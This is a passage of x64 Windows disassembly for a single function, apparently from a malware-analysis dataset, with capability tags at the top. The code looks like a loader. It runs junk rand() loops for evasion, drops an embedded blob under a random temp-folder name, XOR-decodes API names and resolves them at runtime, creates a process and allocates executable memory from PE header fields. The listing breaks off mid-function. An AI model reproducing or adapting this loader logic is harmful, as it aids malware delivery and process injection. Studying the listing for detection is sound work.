Function at 0x140001950
Capabilities:
Encode data using xor
Get common file path
Link many functions at runtime
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0xc5f98
call fcn.140010290
sub rsp, rax
movaps xmmword [rsp + 0xc5f80], xmm6
mov qword [rsp + 0x68], rcx
xor edi, edi
nop dword [rax + rax]
mov ecx, 0x155b4
call fcn.14001d490
mov rsi, rax
xor ebx, ebx
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffff90486c5b
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x38c7
sub eax, ecx
mov dword [rsi + rbx*4], eax
call sub.msvcrt.dll_rand
inc rbx
cmp rbx, 0x2ae
jne 0x140001990
mov rcx, rsi
call fcn.14001d470
inc edi
cmp edi, 0x151f
jne 0x140001980
mov rax, qword [rsp + 0x68]
movsxd r13, dword [rax + 0x3c]
add rax, r13
mov qword [rsp + 0x58], rax
xor esi, esi
nop
mov ecx, 0x1b3a4
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x337ddce7
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x27c6
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x381
jne 0x140001a00
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0xbcd
jne 0x1400019f0
xor r14d, r14d
cmp qword [rsp + 0x68], 0
je 0x140003642
cmp qword [rsp + 0x58], 0
je 0x140003642
mov rcx, qword [rsp + 0x68]
movsxd rax, dword [rcx + 0x3c]
lea rbx, [rcx + rax]
add rbx, 0x108
test rbx, rbx
je 0x140003642
xor esi, esi
nop word cs:[rax + rax]
mov ecx, 0x199dc
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x2a8ac299
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2a
add ecx, edx
imul ecx, ecx, 0x1812
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x104
jne 0x140001aa0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x11ca
jne 0x140001a90
xor esi, esi
nop dword [rax]
mov ecx, 0x19af8
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xdefb903
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x29
add ecx, edx
imul ecx, ecx, 0x24bd
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0xac
jne 0x140001b00
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x112d
jne 0x140001af0
lea rdx, [rsp + 0x860]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor esi, esi
nop
mov ecx, 0x117ec
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x947b405
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x28
add ecx, edx
imul ecx, ecx, 0x1b96
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x10b
jne 0x140001b70
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x13e6
jne 0x140001b60
xor esi, esi
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sub.msvcrt.dll_srand
lea rcx, [rsp + 0x540]
mov r8d, 0x104
xor edx, edx
call sub.msvcrt.dll_memset
call sub.msvcrt.dll_rand
mov ebp, eax
nop word [rax + rax]
mov ecx, 0xcd24
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x7f2d5cdf
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x2035
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x24f
jne 0x140001c00
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x9ab
jne 0x140001bf0
movsxd rax, ebp
imul rcx, rax, 0x66666667
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
add ecx, ecx
lea ecx, [rcx + rcx*4]
neg ecx
lea esi, [rax + rcx]
add esi, 0xa
movabs rdi, 0xe38e38e38e38e38f
lea r12, str.QWEDFG345678zxcvbnw
lea r14, [rsp + 0x540]
lea r15, [rsp + 0xa60]
nop
call sub.msvcrt.dll_rand
movsxd rcx, eax
mov rax, rcx
mul rdi
shr rdx, 3
and rdx, 0xfffffffffffffffe
lea rax, [rdx + rdx*8]
sub rcx, rax
movzx eax, byte [r12 + rcx]
mov byte [rsp + 0xa60], al
mov byte [rsp + 0xa61], 0
mov rcx, r14
mov rdx, r15
call sub.msvcrt.dll_strcat
dec esi
jne 0x140001c90
xor esi, esi
nop word cs:[rax + rax]
mov ecx, 0x10f9c
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x79f4af8d
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x2196
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x12b
jne 0x140001cf0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x10b5
jne 0x140001ce0
xor esi, esi
nop dword [rax]
mov ecx, 0x1aa0c
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x5ae15639
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x1689
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x359
jne 0x140001d50
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x118d
jne 0x140001d40
lea rcx, [rsp + 0x650]
lea r8, [rsp + 0x860]
mov edx, 0x104
call qword [sym.imp.msvcrt.dll_wcscpy_s]
xor esi, esi
nop word [rax + rax]
mov ecx, 0x1c580
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x29b23a11
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x311e
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x115
jne 0x140001dd0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x1339
jne 0x140001dc0
xor esi, esi
nop dword [rax]
mov ecx, 0x17a30
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x2e9da5a3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x2bef
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x37f
jne 0x140001e30
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x826
jne 0x140001e20
lea rcx, [rsp + 0x650]
lea r8, [rsp + 0x540]
mov edx, 0x104
call qword [sym.imp.msvcrt.dll_wcscat_s]
xor esi, esi
nop word [rax + rax]
mov ecx, 0x258e0
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x267b90c3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2a
add ecx, edx
imul ecx, ecx, 0x1a9c
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x30b
jne 0x140001eb0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xb44
jne 0x140001ea0
mov word [rsp + 0x856], 0
mov qword [rsp + 0xb0], 0
xor esi, esi
nop word cs:[rax + rax]
mov ecx, 0x220a8
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x35e7e3c9
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x25fe
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0xba
jne 0x140001f30
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xabb
jne 0x140001f20
lea r8, [0x14003b022]
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x650]
call qword [sym.imp.msvcrt.dll__wfopen_s]
mov ebp, eax
xor esi, esi
nop dword [rax + rax]
mov ecx, 0x10bf4
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x281ac9e5
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x3311
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x382
jne 0x140001fb0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x1680
jne 0x140001fa0
xor r14d, r14d
test ebp, ebp
jne 0x140003642
cmp qword [rsp + 0xb0], 0
je 0x140003642
xorps xmm0, xmm0
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], 0
mov ecx, 5
call fcn.14001d4a0
mov qword [rsp + 0xc0], rax
mov rcx, rax
add rcx, 5
mov qword [rsp + 0xd0], rcx
mov dword [rax], 0x9a638997
mov byte [rax + 4], 0x71
mov qword [rsp + 0xc8], rcx
lea rdx, [0x14003b030]
lea r14, [rsp + 0xa60]
mov r8d, 0xc5518
mov rcx, r14
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0xc0]
mov r8d, 0xc5518
mov rdx, r14
call fcn.140001620
xor esi, esi
nop word cs:[rax + rax]
mov ecx, 0xd16c
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffff930b73b5
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xc
add ecx, edx
imul ecx, ecx, 0x1bdb
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x199
jne 0x1400020b0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xb3f
jne 0x1400020a0
mov r9, qword [rsp + 0xb0]
lea rcx, [rsp + 0xa60]
mov edx, 1
mov r8d, 0xc5518
call sub.msvcrt.dll_fwrite
xor esi, esi
nop
mov ecx, 0x13fd0
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffda2e3c4d
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x258c
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x1f8
jne 0x140002130
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xed6
jne 0x140002120
xor esi, esi
nop
mov ecx, 0xcbd4
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x29c0ad89
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x310d
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x331
jne 0x140002190
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x1015
jne 0x140002180
mov rcx, qword [rsp + 0xb0]
call sub.msvcrt.dll_fclose
xor esi, esi
nop dword [rax]
mov ecx, 0xda80
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x717e99c9
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x2417
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0xf1
jne 0x140002200
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xb51
jne 0x1400021f0
xor esi, esi
nop dword [rax]
mov ecx, 0x1a610
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x1dd628ad
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2a
add ecx, edx
imul ecx, ecx, 0x2252
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x264
jne 0x140002260
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x12f9
jne 0x140002250
mov rcx, qword [rsp + 0x58]
mov rdx, rbx
call fcn.140001450
mov ebp, eax
xor esi, esi
nop dword [rax + rax]
mov ecx, 0x172bc
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x308cb7dd
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x2a2f
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x326
jne 0x1400022d0
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0x109b
jne 0x1400022c0
xor esi, esi
nop dword [rax + rax]
mov ecx, 0x1b0f0
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffa23156c3
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x3282
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x18b
jne 0x140002330
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0xf80
jne 0x140002320
xorps xmm0, xmm0
movaps xmmword [rsp + 0x250], xmm0
movaps xmmword [rsp + 0x240], xmm0
movaps xmmword [rsp + 0x230], xmm0
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x210], xmm0
movaps xmmword [rsp + 0x200], xmm0
mov qword [rsp + 0x260], 0
xor esi, esi
nop dword [rax]
mov ecx, 0xaa9c
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffda229dbf
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x258e
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x228
jne 0x1400023d0
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0xade
jne 0x1400023c0
mov dword [rsp + 0x200], 0x68
xor esi, esi
nop dword [rax]
mov ecx, 0xe728
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffa00a00a1
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xc
add ecx, edx
imul ecx, ecx, 0x1998
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x2a0
jne 0x140002440
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0x9db
jne 0x140002430
xorps xmm0, xmm0
movaps xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], 0
xor esi, esi
nop word cs:[rax + rax]
mov ecx, 0x1874c
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffcc669981
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xc
add ecx, edx
imul ecx, ecx, 0x140a
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x36b
jne 0x1400024c0
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0x1421
jne 0x1400024b0
xor esi, esi
nop
mov ecx, 0x22cf8
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x3bdb685f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x2237
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x2a4
jne 0x140002520
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0x1135
jne 0x140002510
movups xmm0, xmmword [0x140100552]
movups xmmword [rsp + 0xea], xmm0
movups xmm0, xmmword [str.XQGXRT_n_b]
movaps xmmword [rsp + 0xe0], xmm0
xor esi, esi
nop dword [rax]
mov ecx, 0x13d0c
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x6d544403
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x2577
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x136
jne 0x1400025a0
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0x1141
jne 0x140002590
xor esi, esi
nop dword [rax + rax]
mov ecx, 0xbb68
call fcn.14001d490
mov rbx, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x627792f5
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x2999
sub eax, ecx
mov dword [rbx + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0xdf
jne 0x140002600
mov rcx, rbx
call fcn.14001d470
inc esi
cmp esi, 0x1259
jne 0x1400025f0
cmp word [rsp + 0xf8], 0
je 0x140002674
xor eax, eax
nop word cs:[rax + rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0xe0], cx
inc rax
cmp rax, 0xd
jne 0x140002660
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r14d, r14d
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140003630
nop word cs:[rax + rax]
mov ecx, 0x24040
call fcn.14001d490
mov r15, rax
xor esi, esi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x2db8b1b5
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x2ccb
sub eax, ecx
mov dword [r15 + rsi*4], eax
call sub.msvcrt.dll_rand
inc rsi
cmp rsi, 0x1ad
jne 0x1400026b0
mov rcx, r15
call fcn.14001d470
inc r14d
cmp r14d, 0x158a
jne 0x1400026a0
cmp word [rsp + 0xf8], 0
jne 0x140002724
xor eax, eax
nop dword [rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0xe0], cx
inc rax
cmp rax, 0xd
jne 0x140002710
xorps xmm0, xmm0
movups xmmword [rsp + 0xea], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x140100570]
movups xmmword [rsp + 0x12e], xmm1
movups xmm1, xmmword [0x140100562]
movaps xmmword [rsp + 0x120], xmm1
cmp word [rsp + 0x13c], 0
je 0x140002784
xor eax, eax
nop word cs:[rax + rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x120], cx
inc rax
cmp rax, 0xf
jne 0x140002770
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x120]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r15d, eax
movsxd rcx, eax
call fcn.14001d490
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x120]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsp + 0x60]
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
xor r14d, r14d
test rax, rax
je 0x140003630
nop word [rax + rax]
mov ecx, 0x15840
call fcn.14001d490
mov r12, rax
xor esi, esi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x510f0a4b
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2b
add ecx, edx
imul ecx, ecx, 0x1944
sub eax, ecx
mov dword [r12 + rsi*4], eax
call sub.msvcrt.dll_rand
inc rsi
cmp rsi, 0x158
jne 0x140002820
mov rcx, r12
call fcn.14001d470
inc r14d
cmp r14d, 0x1760
jne 0x140002810
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x650]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call r15
xor r14d, r14d
test rax, rax
je 0x140003630
nop dword [rax]
mov ecx, 0x14448
call fcn.14001d490
mov r15, rax
xor esi, esi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x6b268f41
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x263a
sub eax, ecx
mov dword [r15 + rsi*4], eax
call sub.msvcrt.dll_rand
inc rsi
cmp rsi, 0x1a7
jne 0x1400028d0
mov rcx, r15
call fcn.14001d470
inc r14d
cmp r14d, 0x1084
jne 0x1400028c0
cmp word [rsp + 0x13c], 0
jne 0x140002944
xor eax, eax
nop dword [rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x120], cx
inc rax
cmp rax, 0xf
jne 0x140002930
xorps xmm0, xmm0
movups xmmword [rsp + 0x12e], xmm0
movaps xmmword [rsp + 0x120], xmm0
test bpl, bpl
je 0x140002a64
movups xmm0, xmmword [0x14010058e]
movups xmmword [rsp + 0x27e], xmm0
movups xmm0, xmmword [0x140100580]
movaps xmmword [rsp + 0x270], xmm0
cmp word [rsp + 0x28c], 0
je 0x1400029a4
xor eax, eax
nop dword [rax + rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x270], cx
inc rax
cmp rax, 0xf
jne 0x140002990
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x270]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r15d, eax
movsxd rcx, eax
call fcn.14001d490
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x270]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsp + 0x60]
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000362d
mov rcx, qword [rsp + 0x90]
lea rdx, [rsp + 0x1fc]
call rax
cmp word [rsp + 0x28c], 0
jne 0x140002a64
xor eax, eax
nop word cs:[rax + rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x270], cx
inc rax
cmp rax, 0xf
jne 0x140002a50
movups xmm0, xmmword [0x1401005ac]
movups xmmword [rsp + 0x10e], xmm0
movups xmm0, xmmword [0x14010059e]
movaps xmmword [rsp + 0x100], xmm0
xor esi, esi
nop word cs:[rax + rax]
mov ecx, 0x22314
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffa3b991cd
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x3209
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x19d
jne 0x140002aa0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xe2c
jne 0x140002a90
cmp word [rsp + 0x11c], 0
je 0x140002b14
xor eax, eax
nop word [rax + rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x100], cx
inc rax
cmp rax, 0xf
jne 0x140002b00
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x100]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r15d, eax
movsxd rcx, eax
call fcn.14001d490
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x100]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsp + 0x60]
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
xor r14d, r14d
test rax, rax
je 0x140003630
nop word [rax + rax]
mov ecx, 0x17c00
call fcn.14001d490
mov r12, rax
xor esi, esi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x65870a1d
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x2858
sub eax, ecx
mov dword [r12 + rsi*4], eax
call sub.msvcrt.dll_rand
inc rsi
cmp rsi, 0x19f
jne 0x140002bb0
mov rcx, r12
call fcn.14001d470
inc r14d
cmp r14d, 0xa95
jne 0x140002ba0
cmp word [rsp + 0x11c], 0
jne 0x140002c24
xor eax, eax
nop dword [rax]
lea ecx, [rax + 0x33]
xor word [rsp + rax*2 + 0x100], cx
inc rax
cmp rax, 0xf
jne 0x140002c10
xorps xmm0, xmm0
movups xmmword [rsp + 0x10e], xmm0
movaps xmmword [rsp + 0x100], xmm0
xor esi, esi
nop dword [rax]
mov ecx, 0x1fec0
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x64ba4e99
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x28aa
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0xe5
jne 0x140002c50
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0xab3
jne 0x140002c40
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x58]
mov edx, dword [rax + 0x34]
mov r8d, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call r15
mov qword [rsp + 0x70], rax
xor esi, esi
nop word cs:[rax + rax]
mov ecx, 0x204e0
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x305db59
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x27
add ecx, edx
imul ecx, ecx, 0x2a58
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x106
jne 0x140002ce0
mov rcx, r14
call fcn.14001d470
inc esi
cmp esi, 0x1194
jne 0x140002cd0
xor r14d, r14d
cmp qword [rsp + 0x70], 0
je 0x140003630
nop dword [rax]
mov ecx, 0xa828
call fcn.14001d490
mov r15, rax
xor esi, esi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0x4c456b2f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x2c
add ecx, edx
imul ecx, ecx, 0x35b4
sub eax, ecx
mov dword [r15 + rsi*4], eax
call sub.msvcrt.dll_rand
inc rsi
cmp rsi, 0x261
jne 0x140002d50
mov rcx, r15
call fcn.14001d470
inc r14d
cmp r14d, 0xb3f
jne 0x140002d40
mov ecx, dword [rsp + 0x70]
mov rax, qword [rsp + 0x58]
sub ecx, dword [rax + 0x34]
mov dword [rsp + 0xbc], ecx
xor esi, esi
nop word cs:[rax + rax]
mov ecx, 0x20820
call fcn.14001d490
mov r14, rax
xor edi, edi
nop
call sub.msvcrt.dll_rand
cdqe
imul rcx, rax, 0xffffffffce0c2c79
shr rcx, 0x20
add ecx, eax
mov edx, ecx
shr edx, 0x1f
sar ecx, 0xd
add ecx, edx
imul ecx, ecx, 0x27c2
sub eax, ecx
mov dword [r14 + rdi*4], eax
call sub.msvcrt.dll_rand
inc rdi
cmp rdi, 0x91
